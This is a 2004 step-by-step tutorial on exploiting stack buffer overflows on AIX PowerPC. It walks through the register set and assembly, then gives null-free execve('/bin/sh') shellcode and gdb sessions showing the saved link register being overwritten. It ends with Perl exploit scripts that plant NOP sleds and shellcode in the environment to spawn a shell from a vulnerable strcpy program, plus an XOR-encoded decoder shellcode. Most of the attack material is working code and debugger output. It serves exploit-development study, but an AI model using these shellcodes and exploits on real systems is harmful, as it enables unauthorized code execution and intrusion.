AIX PowerPC buffer overflow step by step
Create:
2004-08-13
Author: san (san_at_xfocus.org)
Chinese version: http://www.xfocus.net/articles/200406/711.html
--[
1 - Familiar with PowerPC architecture(32 bit)
The PowerPC
architecture is a Reduced Instruction Set Computer (RISC) architecture,
with over two hundred defined instructions. PowerPC is RISC in that most
instructions execute in a single cycle and typically perform a single
operation (such as loading storage to a register, or storing a register to
memory). PowerPC instructions are of uniform length of 32 bits and there
are almost 12 instruction formats, which reflect 5 primary classes of
instructions:
- branch instructions,
- fixed-point
instructions,
- floating-point instructions,
- load and store
instructions,
- processor control instructions.
PowerPC's
application-level registers are broken into three classes: general-purpose
registers (GPRs), floating-point registers (FPRs and Floating-Point Status
and Control Register [FPSCR]), and special-purpose registers (SPRs). We
can see 38 registers in gdb with "info registers" command. Following,
Let's look at each
class.
r0 Volatile
register used in function
prologs
r1 Stack frame
pointer
r2 TOC
pointer
r3 Volatile
parameter and return value
register
r4-r10 Volatile registers used for
function parameters
r11 Volatile
register used in calls by pointer and as
an
environment
pointer for languages which require
one
r12 Volatile register used for
exception handling and glink
code
r13 Reserved for use as system
thread ID
r14-r31 Nonvolatile registers used for local
variables
Floating-point registers
(FPRs)
f0 Volatile
scratch register
f1-f4 Volatile floating point
parameter and return value
registers
f5-f13 Volatile floating point
parameter registers
f14-f31 Nonvolatile
registers
Special-purpose registers
(SPRs)
LR Link
register (volatile)
CTR Loop
counter register (volatile)
XER
Fixed point exception register (volatile)
FPSCR
Floating point status and control register
(volatile)
CR0-CR1 Volatile condition code register
fields
CR2-CR4 Nonvolatile condition code register
fields
CR5-CR7 Volatile condition code register
fields
Registers r1, r14 through r31, and f14 through f31 are
nonvolatile, which means that they preserve their values across function
calls. Functions which use those registers must save the value before
changing it, restoring it before the function returns. Register r2 is
technically nonvolatile, but it is handled specially during function calls
as described below: in some cases the calling function must restore its
value after a function call.
Registers r0, r3 through r12, f0
through f13, and the special purpose registers LR, CTR, XER, and FPSCR are
volatile, which means that they are not preserved across function calls.
Furthermore, registers r0, r2, r11, and r12 may be modified by
cross-module calls, so a function can not assume that the values of one of
these registers is that placed there by the calling function.
The
condition code register fields CR0, CR1, CR5, CR6, and CR7 are volatile.
The condition code register fields CR2, CR3, and CR4 are nonvolatile; a
function which modifies them must save and restore at least those fields
of the CR. Languages that require "environment pointers" shall use r11 for
that purpose.
On AIX the svca (sc in a mnemonic notation of
PowerPC) instruction is used whenever the operating system services are to
be called. The r2 register denotes the system call number and registers
r3-r10 are appropriately filled with a given system call arguments. There
are two additional prerequisites that must be fulfilled before executing
the system call instruction: the LR register must be filled with the
return from syscall address value and the crorc cr6, cr6, cr6 instruction
must be issued just before the system call.
--[ 2 - Learn AIX
PowerPC assemble format
Use gcc -S to compile C program can obtain
AIX assembly code. If you are not familiar with AIX PowerPC assemble
format, just write a small program in C language.
/*
setuid.c
*
* Learn AIX PowerPC assembly
*/
#include
<unistd.h>
int
main()
{
setuid(0);
}
Then compile
it use gcc with -S option:
-bash-2.05b$ gcc -S setuid.c
Open
setuid.s on current
directory:
.file
"setuid.c"
.toc
.csect
.text[PR]
.align
2
.globl
main
.globl
.main
.csect
main[DS]
main:
.long
.main, TOC[tc0],
0
.csect
.text[PR]
.main:
.extern
__mulh
.extern
__mull
.extern
__divss
.extern
__divus
.extern
__quoss
.extern
__quous
mflr
0
stw
31,-4(1)
stw
0,8(1)
stwu
1,-72(1)
mr
31,1
li
3,0
bl
.setuid
nop
mr
3,0
lwz
1,0(1)
lwz
0,8(1)
mtlr
0
lwz
31,-4(1)
blr
LT..main:
.long
0
.byte
0,0,32,97,128,1,0,1
.long
LT..main-.main
.short
4
.byte
"main"
.byte
31
.align
2
_section_.text:
.csect
.data[RW],3
.long
_section_.text
To reduce to fundamental parts, the following is
enough:
.globl
.main
.csect
.text[PR]
.main:
mflr
0
stw
31,-4(1)
stw
0,8(1)
stwu
1,-72(1)
mr
31,1
li
3,0
bl
.setuid
nop
mr
3,0
lwz
1,0(1)
lwz
0,8(1)
mtlr
0
lwz
31,-4(1)
blr
--[
3 - Learn shellcode of AIX PowerPC
B-r00t's PowerPC/OS X (Darwin)
Shellcode Assembly is good stuff, although it is OS X but both are PowerPC
architecture. We can write shellcode like B-r00t:
-bash-2.05b$ cat
simple_execve.s
.globl .main
.csect
.text[PR]
.main:
xor. %r5,
%r5, %r5 # r5 =
NULL
bnel .main
# branch to _main if not
equal
mflr %r3
# r3 = main +
8
addi %r3,
%r3, 32 # r3 = main + 8 +
32 =
string
stw
%r3, -8(%r1) # argv[0] =
string
stw
%r5, -4(%r1) # argv[1] =
NULL
subi %r4,
%r1, 8 # r4 = pointer to
argv[]
li %r2,
5 #
syscall number =
execve
crorc
%cr6, %cr6, %cr6 # There are two additional
prerequisites that must be fulfilled before executing the system call
instruction: the LR register must be filled with the return from syscall
address value and the crorc cr6, cr6, cr6 instruction must be issued just
before the system
call.
svca 0
# execve(r3, r4,
r5)
string:
# execve(path, argv[],
NULL)
.asciz "/bin/sh"
-bash-2.05b$
gcc -o simple_execve simple_execve.s
-bash-2.05b$
./simple_execve
$
The execve syscall executed correct, and then
use objdump check the opcode:
-bash-2.05b$ objdump -d
simple_execve|more
...
0000000010000544
<.main>:
10000544: 7c a5 2a
79
xor. r5,r5,r5
10000548:
40 82 ff fd bnel 10000544
<.main>
1000054c: 7c 68 02
a6
mflr r3
10000550:
38 63 00 20 cal
r3,32(r3)
10000554: 90 61 ff
f8
st r3,-8(r1)
10000558:
90 a1 ff fc
st r5,-4(r1)
1000055c:
38 81 ff f8 cal
r4,-8(r1)
10000560: 38 40 00
05 lil
r2,5
10000564: 4c c6 33
42 crorc
6,6,6
10000568: 44 00 00
02
svca 0
1000056c:
2f 62 69 6e
cmpi 6,r2,26990
10000570:
2f 73 68 00
cmpi 6,r19,26624
...
There are some
opcodes contain zero. These bytes must be eliminated for the shellcode to
suit strcpy etc. Some instructions have reservered bytes, so we can
replace it. The opcode of svca is 0x44000002. However, bytes 2 and 3 of
the opcode are reserved and therefore not used. So it can be instead of
0x44ffff02. LSD provided a simple shellcode:
/*
shellcode.c
*
* ripped from lsd
*/
char
shellcode[] = /* 12*4+8
bytes
*/
"\x7c\xa5\x2a\x79"
/*
xor. r5,r5,r5
*/
"\x40\x82\xff\xfd"
/*
bnel <shellcode> */
"\x7f\xe8\x02\xa6"
/*
mflr r31 */
"\x3b\xff\x01\x20"
/* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08"
/* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10"
/* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10"
/*
st r3,-240(r31)
*/
"\x90\xbf\xff\x14"
/*
st r5,-236(r31)
*/
"\x88\x5f\xff\x0f"
/* lbz
r2,-241(r31)
*/
"\x98\xbf\xff\x0f"
/* stb
r5,-241(r31)
*/
"\x4c\xc6\x33\x42"
/* crorc
cr6,cr6,cr6 */
"\x44\xff\xff\x02"
/*
svca
*/
"/bin/sh"
"\x05"
;
int
main(void)
{
int
jump[2]={(int)shellcode,0};
((*(void
(*)())jump)());
}
After compiled this program, use IDAPro to
open and disassemble it. In IDAPro window, click shellcode at Names window
and press c to disassemble the shellcode
data:
.data:200006D8
shellcode: #
CODE XREF:
.data:200006DCp
.data:200006D8
# DATA XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A
79
xor. r5, r5,
r5 # r5 = NULL
.data:200006DC 40 82
FF
FD
bnel shellcode
# branch to shellcode if not equal
.data:200006E0 7F E8 02
A6
mflr r31
# r31 = .data:200006D8 + 8
.data:200006E4 3B FF 01
20
addi r31, r31, 0x120 # r31 = .data:200006D8 + 8 +
0x120
.data:200006E8 38 7F FF
08
subi r3, r31, 0xF8 # r3 =
.data:200006D8 + 8 + 0x120 - 0xF8 = .data:20000708 =
string
.data:200006EC 38 9F FF
10
subi r4, r31, 0xF0 # r4 =
.data:20000710
.data:200006F0 90 7F FF
10
stw r3, -0xF0(r31) # put address
.data:20000708 to .data:20000710
.data:200006F4 90 BF FF
14
stw r5, -0xEC(r31) # put 0 to
.data:20000714
.data:200006F8 88 5F FF
0F
lbz rtoc, -0xF1(r31)# load syscall number to
r2
.data:200006FC 98 BF FF
0F
stb r5, -0xF1(r31) # put 0 to
.data:2000070F
.data:20000700 4C C6 33
42
crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR
with
Comlement
.data:20000700
#
------------------------------------------------------------------------
.data:20000704
44 .byte
0x44 # modified svca
.data:20000705
FF .byte
0xFF
.data:20000706
FF .byte
0xFF
.data:20000707
02 .byte 2
.data:20000708
2F .byte
0x2F # /
.data:20000709
62 .byte
0x62 # b
.data:2000070A
69 .byte
0x69 # i
.data:2000070B
6E .byte
0x6E # n
.data:2000070C
2F .byte
0x2F # /
.data:2000070D
73 .byte
0x73 # s
.data:2000070E
68 .byte
0x68 # h
.data:2000070F
05 .byte 5
IDAPro
is more powerful and it's disassembly is more understandability. OK, we
know how to write and debug shellcode now.
--[ 4 - Learn overflow
technology of AIX PowerPC
There are differences of stack structure
between PowerPC and ia32. The PowerPC stack conventions use only a stack
pointer (held in register GPR1) and no frame pointer. This configuration
assumes a fixed stack frame size, which is known at compile time.
Parameters are not passed by pushing them onto the stack. The following is
the PowerPC stack:
. Stack
before
.
. Stack
after .
. calling a
.
. calling a
.
| procedure
|
| procedure
|
+----------------+- +----------------+-
| Parameter area |
|
| Parameter area | |
+----------------+
+-Caller +----------------+
+-Caller
| Linkage
area |
|
| Linkage area | |
SP
--->+----------------+- +----------------+-
| Stack grows
|
| Saved registers| |
. down .
+----------------+ |
. |
.
| Local variables|
|
v
+----------------+
+-Callee
|
Parameter area |
|
+----------------+
|
|
Linkage area |
|
SP
--->+----------------+-
| Stack
grows
|
. down .
. |
.
v
The PowerPC runtime environment uses a grow-down stack that
contains linkage information, local variables, and a routine's parameter
information.
The calling routine's linkage area holds a number of
values, some of which are saved by the calling routine and some by the
called routine. It's structure as
following:
+24+----------------+
| Saved TOC
|
+20+----------------+
| Reserved |
+16+----------------+
| Reserved |
+12+----------------+
| Saved
LR |
+8+----------------+
| Saved
CR |
+4+----------------+
| Saved SP |
SP
--->+----------------+
The Link Register (LR) value is saved at
8(SP) by the called routine if it chooses to do so.
The Condition
Register (CR) value may be saved at 4(SP) by the called routine. As with
the Link Register value, the called routine is not required to save this
value.
The stack pointer is always saved by the calling routine as part
of its stack frame.
The parameter area has space for the parameters
of any routines the caller calls (not the parameters of the caller
itself). Since the calling routine might call several different routines,
the parameter area must be large enough to accommodate the largest
parameter list of all the routines the caller calls. It is the calling
routine's responsibility for setting up the parameter area before each
call to some other routine, and the called routine's responsibility for
accessing the parameters placed within it.
There are three
instructions when function return on ia32:
mov esp,ebp ; esp point
to prior frame
pop
ebp
ret ; execute
address that saved at esp+4
There are some instructions when
function return on AIX PowerPC:
lwz
r1,0(r1) # r1 point to prior
frame
lwz r0,8(r1) #
load saved lr to
r0
mtlr r0 #
lr=r0
lwz r31,-4(r1) #
blr
# execute address that saved at lr
Although there are differences
of stack structure between PowerPC and ia32, but they have the same
overflow technology. We need overwrite ebp+4 of current frame to return
our control address on ia32, and we need overwrite r1+8 of prior frame to
return our control address on AIX PowerPC.
Running the
simple_overflow program in GDB shows that the control of the saved return
address (previous LR value) is possible.
-bash-2.05b$ cat
simple_overflow.c
/* simple_overflow.c
*
* Simple
program to demonstrate buffer overflows
* on the PowerPC
architecture.
*/
#include <stdio.h>
#include
<string.h>
char largebuff[]
=
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main
(void)
{
char
smallbuff[16];
strcpy (smallbuff,
largebuff);
}
-bash-2.05b$ gcc -o simple_overflow
simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb)
r
Starting program: /home/san/simple_overflow
Program received
signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i
reg
r0
0x41424344
1094861636
r1
0x2ff22bb0
804400048
r2
0x20000e70
536874608
r3
0x20
32
r4
0x20000534
536872244
r5
0x2ff22bbc
804400060
r6
0x0 0
r7
0x0 0
r8
0x0 0
r9
0x80808080
-2139062144
r10 0x7f7f7f7f
2139062143
r11 0x4 4
r12 0x80808080
-2139062144
r13 0xdeadbeef
-559038737
r14 0x1 1
r15 0x2ff22c00
804400128
r16 0x2ff22c08
804400136
r17 0x0 0
r18 0xdeadbeef
-559038737
r19 0xdeadbeef
-559038737
r20 0xdeadbeef
-559038737
r21 0xdeadbeef
-559038737
r22 0xdeadbeef
-559038737
r23 0xdeadbeef
-559038737
r24 0xdeadbeef
-559038737
r25 0xdeadbeef
-559038737
r26 0xdeadbeef
-559038737
r27 0xdeadbeef
-559038737
r28 0x20000460
536872032
r29 0x10000000
268435456
r30 0x3 3
r31 0x53455256
1397051990
pc
0x41424344
1094861636
ps
0x4000d032
1073795122
cr
0x22222842
572663874
lr
0x41424344
1094861636
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr
0x0 0
vrsave
0x0 0
(gdb) x/8x
$r1
0x2ff22bb0:
0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bc0:
0x00000000 0x20000e70 0x00000000 0x00000000
Register
pc has been overwritten to ABCD and this is our controled content.
(gdb) disas main
Dump of assembler code for function
main:
0x1000054c
<main+0>: mflr r0
0x10000550
<main+4>: stw
r31,-4(r1)
0x10000554
<main+8>: stw
r0,8(r1)
0x10000558 <main+12>:
stwu r1,-88(r1)
0x1000055c
<main+16>:
mr r31,r1
0x10000560
<main+20>:
addi r3,r31,56
0x10000564
<main+24>: lwz
r4,80(r2)
0x10000568 <main+28>:
bl 0x10006fa0
<strcpy>
0x1000056c <main+32>:
nop
0x10000570 <main+36>:
mr r3,r0
0x10000574
<main+40>: lwz
r1,0(r1)
0x10000578 <main+44>:
lwz r0,8(r1)
0x1000057c
<main+48>: mtlr r0
0x10000580
<main+52>: lwz
r31,-4(r1)
0x10000584 <main+56>: blr
0x10000588
<main+60>: .long 0x0
0x1000058c
<main+64>: .long 0x2061
0x10000590
<main+68>: lwz
r0,1(r1)
0x10000594 <main+72>: .long
0x3c
0x10000598 <main+76>: .long
0x46d61
0x1000059c <main+80>:
xori r14,r11,7936
End of assembler
dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The
program being debugged has been started already.
Start it from the
beginning? (y or n) y
Starting program:
/home/san/simple_overflow
Breakpoint 1, 0x10000560 in main
()
(gdb) display/i $pc
1: x/i $pc 0x10000560
<main+20>:
addi r3,r31,56
(gdb) x/20x
$r1
0x2ff22b58:
0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78:
0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88:
0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98:
0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8:
0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8:
0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b58
is the current sp, and it contains prior stack frame address(0x2ff22bb0).
So we can get the lr value that saved in prior stack frame, and it is
0x100001cc. The program will execute this address after main function
return.
(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i
$pc 0x1000056c
<main+32>: nop
(gdb) i
reg
r0
0x20
32
r1
0x2ff22b58
804399960
r2
0x20000e70
536874608
r3
0x2ff22b90
804400016
r4
0x20000534
536872244
r5
0x2ff22bbc
804400060
r6
0x0 0
r7
0x0 0
r8
0x0 0
r9
0x80808080
-2139062144
r10 0x7f7f7f7f
2139062143
r11 0x4 4
r12 0x80808080
-2139062144
r13 0xdeadbeef
-559038737
r14 0x1 1
r15 0x2ff22c00
804400128
r16 0x2ff22c08
804400136
r17 0x0 0
r18 0xdeadbeef
-559038737
r19 0xdeadbeef
-559038737
r20 0xdeadbeef
-559038737
r21 0xdeadbeef
-559038737
r22 0xdeadbeef
-559038737
r23 0xdeadbeef
-559038737
r24 0xdeadbeef
-559038737
r25 0xdeadbeef
-559038737
r26 0xdeadbeef
-559038737
r27 0xdeadbeef
-559038737
r28 0x20000460
536872032
r29 0x10000000
268435456
r30 0x3 3
r31 0x2ff22b58
804399960
pc
0x1000056c
268436844
ps
0x2d032 184370
cr
0x22222842
572663874
lr
0x1000056c
268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr
0x0 0
vrsave
0x0 0
(gdb) x/20x
$r1
0x2ff22b58:
0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78:
0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88:
0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98:
0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8:
0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8:
0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8:
0x00000000 0x00000000 0x00000000 0x00000000
After
strcpy, the lr value that saved in prior stack frame was overwritten to
0x41424344.
(gdb) ni
0x10000570 in main ()
1: x/i
$pc 0x10000570
<main+36>:
mr r3,r0
(gdb)
0x10000574 in main
()
1: x/i $pc 0x10000574
<main+40>:
lwz r1,0(r1)
(gdb)
0x10000578 in main
()
1: x/i $pc 0x10000578
<main+44>:
lwz r0,8(r1)
(gdb)
0x1000057c in main
()
1: x/i $pc 0x1000057c
<main+48>:
mtlr r0
(gdb)
0x10000580 in main ()
1: x/i
$pc 0x10000580
<main+52>:
lwz r31,-4(r1)
(gdb)
0x10000584 in main
()
1: x/i $pc 0x10000584
<main+56>:
blr
(gdb)
Program received signal SIGSEGV, Segmentation
fault.
0x41424344 in ?? ()
1: x/i $pc 0x41424344: Cannot
access memory at address 0x41424344
Disabling display 1 to avoid
infinite recursion.
These instructions has been introduced before.
The program will execute the lr value that saved in prior stack frame at
r1+8.
--[ 5 - How to attack overflow vulnerability on AIX
PowerPC
Now we know overflow process, then let's try to attack
overflow vulnerability. The following program is the
vulnerability.
-bash-2.05b$ cat vulnerable.c
/*
vulnerable.c
*
* Vulnerable program on the PowerPC
architecture.
*/
#include <stdio.h>
#include
<string.h>
int main (int argc, char
*argv[])
{
char
vulnbuff[16];
strcpy (vulnbuff,
argv[1]);
printf ("\n%s\n",
vulnbuff);
getchar(); /* for debug
*/
}
-bash-2.05b$ gcc -o vulnerable
vulnerable.c
0x2ff22fff seems to be stack bottom of AIX. The
following is the AIX's stack
structure:
Stack bottom
+----------------+
0x2ff22fff
| Reserverd
|
+----------------+
| Enviroment |
+----------------+
| args |
+----------------+
| path |
+----------------+
| Stack frames |
SP
--->+----------------+
| Stack grows
|
. down .
. |
.
. v
.
Enviroment address can be guessed more exactly, so we put lots of
nop instructions and the shellcode into the
enviroment.
-bash-2.05b$ cat
exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program
vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"\x7c\xa5\x2a\x79".
# /*
xor. r5,r5,r5
*/
"\x40\x82\xff\xfd".
# /*
bnel <shellcode> */
"\x7f\xe8\x02\xa6".
# /*
mflr r31 */
"\x3b\xff\x01\x20".
# /* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08".
# /* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10".
# /* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10".
# /*
st r3,-240(r31)
*/
"\x90\xbf\xff\x14".
# /*
st r5,-236(r31)
*/
"\x88\x5f\xff\x0f".
# /* lbz
r2,-241(r31)
*/
"\x98\xbf\xff\x0f".
# /* stb
r5,-241(r31)
*/
"\x4c\xc6\x33\x42".
# /* crorc
cr6,cr6,cr6 */
"\x44\xff\xff\x02".
# /*
svca
*/
"/bin/sh".
"\x05";
$NOP="\x60\x60\x60\x60"x800;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system
$CMD ,"\x2f\xf2\x2b\x40"x11;
Try it.
-bash-2.05b$
./exploit.pl
/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@
Use gdb
debug the vulnerable program on the another tty:
-bash-2.05b$ ps
aux|grep
vul
san 47644 0.0 0.0 208 220 pts/1
A 22:16:24 0:00 grep
vul
san 44544 0.0 0.0
96 304 pts/0
A 22:16:02 0:00
/home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb
6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free
software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is
absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as
"powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable,
process 44544
0xd01ea254 in read () from
/usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for
function main:
0x10000544
<main+0>: mflr r0
0x10000548
<main+4>: stw
r31,-4(r1)
0x1000054c
<main+8>: stw
r0,8(r1)
0x10000550 <main+12>:
stwu r1,-88(r1)
0x10000554
<main+16>:
mr r31,r1
0x10000558
<main+20>: stw
r3,112(r31)
0x1000055c <main+24>:
stw r4,116(r31)
0x10000560
<main+28>: lwz
r9,116(r31)
0x10000564 <main+32>:
addi r9,r9,4
0x10000568
<main+36>:
addi r3,r31,56
0x1000056c
<main+40>: lwz
r4,0(r9)
0x10000570 <main+44>:
bl 0x10007000
<strcpy>
0x10000574 <main+48>:
nop
0x10000578 <main+52>: lwz
r3,88(r2)
0x1000057c <main+56>:
addi r4,r31,56
0x10000580
<main+60>:
bl 0x100073ec
<printf>
0x10000584 <main+64>:
lwz r2,20(r1)
0x10000588
<main+68>: lwz
r11,92(r2)
0x1000058c <main+72>:
lwz r9,92(r2)
0x10000590
<main+76>: lwz
r9,4(r9)
0x10000594 <main+80>:
addi r0,r9,-1
0x10000598
<main+84>: stw
r0,4(r11)
0x1000059c <main+88>: cmpwi
r0,0
0x100005a0 <main+92>:
bge- 0x100005b4 <main+112>
0x100005a4
<main+96>: lwz
r3,92(r2)
0x100005a8
<main+100>: bl 0x1000747c
<__filbuf>
0x100005ac
<main+104>: lwz
r2,20(r1)
0x100005b0
<main+108>: b
0x100005c8 <main+132>
0x100005b4
<main+112>: lwz
r11,92(r2)
0x100005b8
<main+116>: lwz
r9,92(r2)
0x100005bc
<main+120>: lwz
r9,0(r9)
0x100005c0
<main+124>: addi r0,r9,1
0x100005c4
<main+128>: stw
r0,0(r11)
0x100005c8
<main+132>: mr r3,r0
0x100005cc
<main+136>: lwz
r1,0(r1)
0x100005d0
<main+140>: lwz
r0,8(r1)
0x100005d4
<main+144>: mtlr r0
0x100005d8
<main+148>: lwz
r31,-4(r1)
0x100005dc <main+152>: blr
0x100005e0
<main+156>: .long 0x0
0x100005e4
<main+160>: .long 0x2061
0x100005e8
<main+164>: lwz
r0,513(r1)
---Type <return> to continue, or q <return> to
quit---
0x100005ec <main+168>: .long 0x0
0x100005f0
<main+172>: .long 0x9c
0x100005f4
<main+176>: .long 0x46d61
0x100005f8
<main+180>: xori r14,r11,7936
End
of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at
0x100005dc
(gdb) c
Continuing.
Press any key at the tty which
running exploit.pl, and the gdb debug window continues:
Breakpoint
1, 0x100005dc in main ()
(gdb) i
reg
r0
0x100001cc
268435916
r1
0x2ff22210
804397584
r2
0x20000ee8
536874728
r3
0xf00890f1
-267874063
r4
0xf00890f0
-267874064
r5
0x0 0
r6
0xd032
53298
r7
0x0 0
r8
0x60000000
1610612736
r9
0x60002449
1610622025
r10 0x0 0
r11 0x600026c8
1610622664
r12 0x100005ac
268436908
r13 0xdeadbeef
-559038737
r14 0x2 2
r15 0x2ff22264
804397668
r16 0x2ff22270
804397680
r17 0x0 0
r18 0xdeadbeef
-559038737
r19 0xdeadbeef
-559038737
r20 0xdeadbeef
-559038737
r21 0xdeadbeef
-559038737
r22 0xdeadbeef
-559038737
r23 0xdeadbeef
-559038737
r24 0xdeadbeef
-559038737
r25 0xdeadbeef
-559038737
r26 0xdeadbeef
-559038737
r27 0xdeadbeef
-559038737
r28 0x20000520
536872224
r29 0x10000000
268435456
r30 0x3 3
r31 0x2ff22b40
804399936
pc
0x100005dc
268436956
ps
0x2d032 184370
cnd 0x24222422
606217250
lr
0x100001cc
268435916
cnt 0x0 0
xer 0x0 0
mq
0x0 0
fpscr 0x0 0
(gdb)
x/20x $r1
(gdb) x/20x $r1
0x2ff22210:
0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220:
0x00000000 0x20000ee8 0x00000002 0x2ff2225c
0x2ff22230:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240:
0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250:
0x00000000 0x00000000 0x00000000 0x2ff22270
(gdb)
x/20x 0x2ff22b40
0x2ff22b40:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80:
0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20:
0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30:
0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40:
0x02a63bff 0x0120387f 0xff08389f 0xff10907f
The
lr register has been overwritten to 0x2ff22b40. Program will execute this
address after function returning, and there are lots of nop instructions
after this address until the shellcode appeared. But we must be notice the
align problem. The following exploit avoid this
problem:
#!/usr/bin/perl
#
# exploit1.pl
# exploit program
vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"\x7c\xa5\x2a\x79".
# /*
xor. r5,r5,r5
*/
"\x40\x82\xff\xfd".
# /*
bnel <shellcode> */
"\x7f\xe8\x02\xa6".
# /*
mflr r31 */
"\x3b\xff\x01\x20".
# /* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08".
# /* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10".
# /* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10".
# /*
st r3,-240(r31)
*/
"\x90\xbf\xff\x14".
# /*
st r5,-236(r31)
*/
"\x88\x5f\xff\x0f".
# /* lbz
r2,-241(r31)
*/
"\x98\xbf\xff\x0f".
# /* stb
r5,-241(r31)
*/
"\x4c\xc6\x33\x42".
# /* crorc
cr6,cr6,cr6 */
"\x44\xff\xff\x02".
# /*
svca
*/
"/bin/sh".
"\x05";
$NOP="\x60\x60\x60\x60"x800;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system
$CMD ,"\x2f\xf2\x2b\x40"x11;
for($i=0;$i<4 &&
$ret;$i++){
for($j=0;$j<4 &&
$ret;$j++)
{
$ENV{CCC}="A"x $j
.$NOP.$SHELLCODE;
$ret
= system $CMD ,"A"x $i
."\x2f\xf2\x2b\x40"x11;
}
}
-bash-2.05b$
./exploit1.pl
/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@
/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@
/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@
/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@
$
It
seems good!
--[ 6 - Bypass I-cache
Decoder shellcode is very
simple in ia32 architechture. Although PowerPC instructions cann't access
memory direct except load and store instructions, but we can write a
decoder shellcode as ia32.
char shellcode[] =
//
decoder
"\x7c\xa5\x2a\x79" // xor. %r5,
%r5,
%r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3,
%r3,
0x101
"\x38\x63\xff\x26" // addi %r3,
%r3, -0xDA # r3 point start of real
shellcode-1
"\x39\x20\x01\x01" // li %r9,
0x101
"\x39\x29\xff\x23" // addi %r9,
%r9, -0xDD # shellcode
size+1
"\x7c\xc9\x18\xae" // lbzx %r6,
%r9, %r3 # read a
character
"\x68\xc7\xfe\xfe" // xori %r7,
%r6, 0xFEFE #
xor
"\x7c\xe9\x19\xae" // stbx %r7,
%r9, %r3 # store a
character
"\x35\x29\xff\xff" // subic. %r9,
%r9,
1
"\x40\x82\xff\xf0" // bne
Loop #
loop
// real
shellcode
"\xc6\x9d\xfe\xe3" // addi %r3,
%r3,
29
"\x6e\x9f\x01\x06" // stw
%r3,
-8(%r1)
"\x6e\x5f\x01\x02" // stw
%r5,
-4(%r1)
"\xc6\x7f\x01\x06" // subi %r4,
%r1,
8
"\xc6\xbe\xfe\xfb" // li %r2,
5
"\xb2\x38\xcd\xbc" // crorc
%cr6, %cr6,
%cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte
'/', 'b', 'i',
'n',
"\xd1\x8d\x96\xfe" // '/',
's', 'h', 0x0
;
int main() {
int
jump[2]={(int)shellcode,0};
((*(void
(*)())jump)());
}
The first part is decoder. r3 points to the
address of the front of real shellcode. r9 is the counter, whose size is
one more than real shellcode. It will do xor operate from last byte of
real shellcode.
